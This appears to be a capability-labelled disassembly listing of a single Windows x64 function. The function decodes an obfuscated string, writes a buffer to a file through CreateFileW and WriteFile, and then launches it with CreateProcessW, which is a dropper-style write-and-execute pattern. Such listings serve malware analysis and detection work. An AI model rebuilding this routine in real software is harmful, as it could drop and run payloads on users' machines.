Function at 0x14006b110
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1d0
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
lea rcx, [rbp + 0x30]
call fcn.140074e84
nop
xor esi, esi
lea r15d, [rsi + 7]
cmp qword [rbp + 0x40], rsi
je 0x14006b469
call fcn.14006b4a4
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
lea r14d, [rsi + 0xf]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
cmp byte [rax], sil
jne 0x14006b17a
mov r8d, esi
jmp 0x14006b187
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x14006b17e
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000472c
nop
mov qword [rsp + 0x20], 4
lea r9, str.NULL
mov r8, qword [rsp + 0x60]
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.14000c1dc
test eax, eax
je 0x14006b448
cmp qword [rsp + 0x60], 0xb
jb 0x14006b448
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], sil
mov r8d, 9
lea rdx, [0x140097fd8]
lea rcx, [rbp - 0x50]
call fcn.14000472c
nop
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x80], rsi
mov byte [rsp + 0x70], sil
mov r8d, 0x14
lea rdx, str.GDUSGwwcHRoMagwZCA
lea rcx, [rsp + 0x70]
call fcn.14000472c
nop
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.14006a104
nop
cmp qword [rbp - 0x78], 0x10
jb 0x14006b246
mov rcx, qword [rsp + 0x70]
call fcn.1400431dc
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x80], rsi
mov byte [rsp + 0x70], sil
cmp qword [rbp - 0x38], 0x10
jb 0x14006b263
mov rcx, qword [rbp - 0x50]
call fcn.1400431dc
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], sil
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae r8, qword [rbp - 0x70]
add r8, qword [rbp - 0x60]
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 8], r15
mov qword [rbp], rsi
mov word [rbp - 0x10], si
lea rcx, [rbp - 0x10]
call fcn.1400176b8
nop
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
add r8, qword [rsp + 0x60]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
lea rcx, [rbp - 0x30]
call fcn.1400176b8
nop
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x10]
call fcn.14000b468
nop
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x30]
call fcn.14006ad8c
mov rdi, rax
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14006b3d8
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x108]
mov r8d, dword [rbp + 0x100]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x60], 0x68
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0x68]
call fcn.140046360
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rdx, qword [rbp + 0x10]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
cmp qword [rbp + 0x28], 8
jb 0x14006b3e8
mov rcx, qword [rbp + 0x10]
call fcn.1400431dc
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x20], rsi
mov word [rbp + 0x10], si
cmp qword [rbp - 0x18], 8
jb 0x14006b404
mov rcx, qword [rbp - 0x30]
call fcn.1400431dc
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp + 8], 8
jb 0x14006b420
mov rcx, qword [rbp - 0x10]
call fcn.1400431dc
mov qword [rbp + 8], r15
mov qword [rbp], rsi
mov word [rbp - 0x10], si
cmp qword [rbp - 0x58], 0x10
jb 0x14006b43c
mov rcx, qword [rbp - 0x70]
call fcn.1400431dc
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x60], rsi
mov byte [rbp - 0x70], sil
cmp qword [rsp + 0x68], 0x10
jb 0x14006b45a
mov rcx, qword [rsp + 0x50]
call fcn.1400431dc
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
cmp qword [rbp + 0x48], 8
jb 0x14006b479
mov rcx, qword [rbp + 0x30]
call fcn.1400431dc
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x40], rsi
mov word [rbp + 0x30], si
xor eax, eax
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret